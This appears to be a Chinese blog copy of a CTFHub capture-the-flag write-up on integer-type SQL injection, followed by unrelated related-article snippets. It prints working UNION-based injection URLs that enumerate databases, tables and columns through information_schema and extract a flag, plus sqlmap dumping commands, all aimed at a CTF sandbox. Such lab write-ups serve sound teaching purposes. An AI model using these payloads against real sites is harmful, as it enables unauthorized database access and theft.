CTFHub技能树-SQL注入-整数型注入

news/2024/9/19 5:29:32/ 标签: ctfhub

一、手动注入

思路:注入点->库->表->列->数据

首先使用order by探测有几列

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=1 order by 2

我们发现order by 2 的时候有回显,到了order by 3 的时候就没有回显了,所以列数为2

然后使用联合注入

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select database(),user()

得到用户名与数据库名

拿到数据库列表

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(schema_name) from information_schema.schemata

查当前数据库里的表名

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

获取列名

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x666c6167

获取数据

http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 union select 1,group_concat(flag) from flag

 

二、自动化工具

sqlmap下载GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool

python sqlmap.py -u http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=1 --tables

 

查找表中数据

python sqlmap.py -u http://challenge-aea2d226b5b3a939.sandbox.ctfhub.com:10800/?id=1 -T flag --columns

 获取表中数据

python sqlmap.py -u http://challenge-215beae2f0b99b12.sandbox.ctfhub.com:10800/?id=-1 -T flag --columns

拿到flag


http://www.ppmy.cn/news/1527038.html

相关文章

Spring Boot-日志相关问题

Spring Boot 日志相关问题探讨 在现代微服务和大型应用中,日志是非常重要的调试、监控和故障排查工具。Spring Boot 作为一种简化的框架,默认集成了强大的日志系统,并且提供了灵活的配置选项。然而,开发者在实际使用 Spring Boot…

海量数据查找最大K个值:数据结构与算法的选择

在处理大数据集时,经常需要找到数据集中最大的K个元素,这样的需求在很多领域都有广泛应用,例如推荐系统中寻找评分最高的K个商品、数据分析中找出最重要的K个特征、搜索引擎中找到排名前K的结果等等。面对海量数据,传统的排序方法…

Unity实战案例全解析 :PVZ 植物脚本分析

植物都继承了Pants脚本,但是我因为没注意听讲,把Pants也挂在植物上了,所以子类的PlantEnableUpdate和PlantDisableUpdate抢不过父类,无法正确触发动画,我还找不到哪里出了问题,所以就使用了携程加while强行…

Java后端程序员简单操作Linux系统命令

Linux系统概述 Linux 内核最初是由芬兰人林纳斯托瓦兹(Linus Torvalds)在赫尔辛基大学上 学时而编写的一个开源的操作系统。 Linux(管理计算机硬件资源,任务调度)支持多用户,支持网络,支持多线…

funny lidar slam

【开源】也许会是目前功能最多的激光SLAM(Lidar SLAM)_哔哩哔哩_bilibili GitHub - zm0612/funny_lidar_slam: A real-time multifunctional Lidar SLAM package.

el-input 只能输入数字和一个小数点,或者只能输入两位小数

<el-inputv-model"price":maxlength"20"clearableinput"getNumIpt"change"getChangeIpt"placeholder"请输入入池资产总额"></el-input> 对小数位数不限要求 methods: { getNumIpt(val) {// 非数字 一位小数点…

综合案例-数据可视化-柱状图

一、基础柱状图 我们绘制一个关于三种水果销售额的柱状图&#xff0c;X轴数据为三种水果的名称&#xff0c;用列表[苹果,香蕉,橘子]添加进去&#xff0c;Y轴数据为三种水果的销售额&#xff0c;用列表[50,70,60]添加进去。 步骤&#xff1a; 导包构建柱状图对象添加X轴数据生…

C++ Primer Plus(速记版)-容器和算法

第九章 顺序容器 容器是存储特定类型对象的集合&#xff0c;标准库提供了多种容器类型以支持不同的使用场景。其中&#xff0c;顺序容器&#xff08;如vector、list、deque&#xff09;根据元素添加到容器中的顺序来存储和访问元素&#xff0c;与元素值无关。 这些顺序容器各有…

C++:析构函数

在销毁对象时&#xff0c;系统也会自动调用一个函数&#xff0c;它就是析构函数。析构函数没有返回值&#xff0c;它的函数名是在类名前加一个 ~ 符号。析构函数没有参数&#xff0c;不能被重载&#xff0c;这也就意味着析构函数只有一个&#xff0c;若没有写虚构函数&#xff…

CSS 响应式设计(补充)——WEB开发系列36

随着移动设备的普及&#xff0c;网页设计的焦点逐渐转向了响应式设计。响应式设计不仅要求网页在各种屏幕尺寸上良好展示&#xff0c;还要适应不同设备的特性。 一、响应式设计之前的灵活布局 在响应式设计流行之前&#xff0c;网页布局通常是固定的或流动的。固定布局使用固定…

鸡蛋检测系统源码分享

鸡蛋检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

MySQL中几种常见的行格式

在MySQL中&#xff0c;ROW_FORMAT 是用来指定表中行的存储格式的属性。不同的行格式会影响数据的存储方式&#xff0c;进而影响存储空间的使用效率和访问性能。ROW_FORMATCOMPACT 是其中一种行格式&#xff0c;表示“紧凑格式”。 以下是MySQL中几种常见的行格式&#xff1a; …

数据分析中:相关系数计算方法怎么选择合适?

选择合适的相关系数计算方法可以考虑以下几个方面&#xff1a; 一、数据类型 连续变量与连续变量&#xff1a; 皮尔逊相关系数&#xff1a;当两个连续变量之间呈线性关系&#xff0c;且数据满足正态分布假设时&#xff0c;皮尔逊相关系数是一个很好的选择。它衡量的是两个变量…

.NET 6.0 + WPF 使用 Prism 框架实现导航

合集 - .NET 基础知识(3) 1..NET 9 优化&#xff0c;抢先体验 C# 13 新特性08-202.《黑神话&#xff1a;悟空》神话再现&#xff0c;虚幻引擎与Unity/C#谁更强&#xff1f;08-21 3..NET 6.0 WPF 使用 Prism 框架实现导航09-11 收起 阅读目录 前言什么是Prism?安装 Prism使…

每日奇难怪题(持续更新)

1.以下程序输出结果是() int main() {int a 1, b 2, c 2, t;while (a < b < c) {t a;a b;b t;c--;}printf("%d %d %d", a, b, c); } 解析:a1 b2 c2 a<b 成立 ,等于一个真值1 1<2 执行循环体 t被赋值为1 a被赋值2 b赋值1 c-- c变成1 a<b 不成立…

物流系统中的嵌入式:STM32微控制器与智能算法驱动的物理循迹小车详细流程

一、项目概述 本项目旨在开发一款基于STM32微控制器的物理循迹小车&#xff0c;具备二维码识别能力&#xff0c;并能够将物品送到指定的物流位置。通过传感器和算法的结合&#xff0c;小车将实现自主导航和路径规划&#xff0c;从而提高物流效率和准确性。项目的目标是为智能物…

es6中set和map的区别

在ES6&#xff08;ECMAScript 2015&#xff09;中&#xff0c;Set 和 Map 是两种新的集合类型&#xff0c;它们提供了更高级的数据结构来存储唯一值或键值对集合。尽管它们在功能上有些相似&#xff0c;但它们在用途和内部机制上存在一些关键区别。 1. 基本概念 Set&#xff1…

前端框架大观:探索现代Web开发的基石

目录 引言 一、前端框架概述 二、主流前端框架介绍 2.1 React 2.1.1 简介 2.1.2 特点 2.1.3 代码示例 2.2 Vue.js 2.2.1 简介 2.2.2 特点 2.2.3 代码示例 2.3 Angular 2.3.1 简介 2.3.2 特点 2.3.3 代码示例 三、其他前端框架与库 四、前端框架的选择 五、结…

python install 出现443原因

解决办法&#xff1a; pycharm pycharm安装模块时一直提示443 超时问题_pytorch 443-CSDN博客 windows全局 Python代理模式下 解决 pip 安装第三方包时因 SSL 报错Caused by SSLError

Zookeeper工作机制、特点、数据结构、应用场景、配置参数解读

ZK工作机制 从涉及模式角度来理解&#xff1a;是一个基于观察者模式设计的分布式服务管理框架&#xff0c;负责存储和管理大家都关心的数据&#xff0c;然后接受观察者的注册&#xff0c;一旦这些数据的状态发生变化&#xff0c;zk就负责通知已在zk上注册的那些观察者做出相应…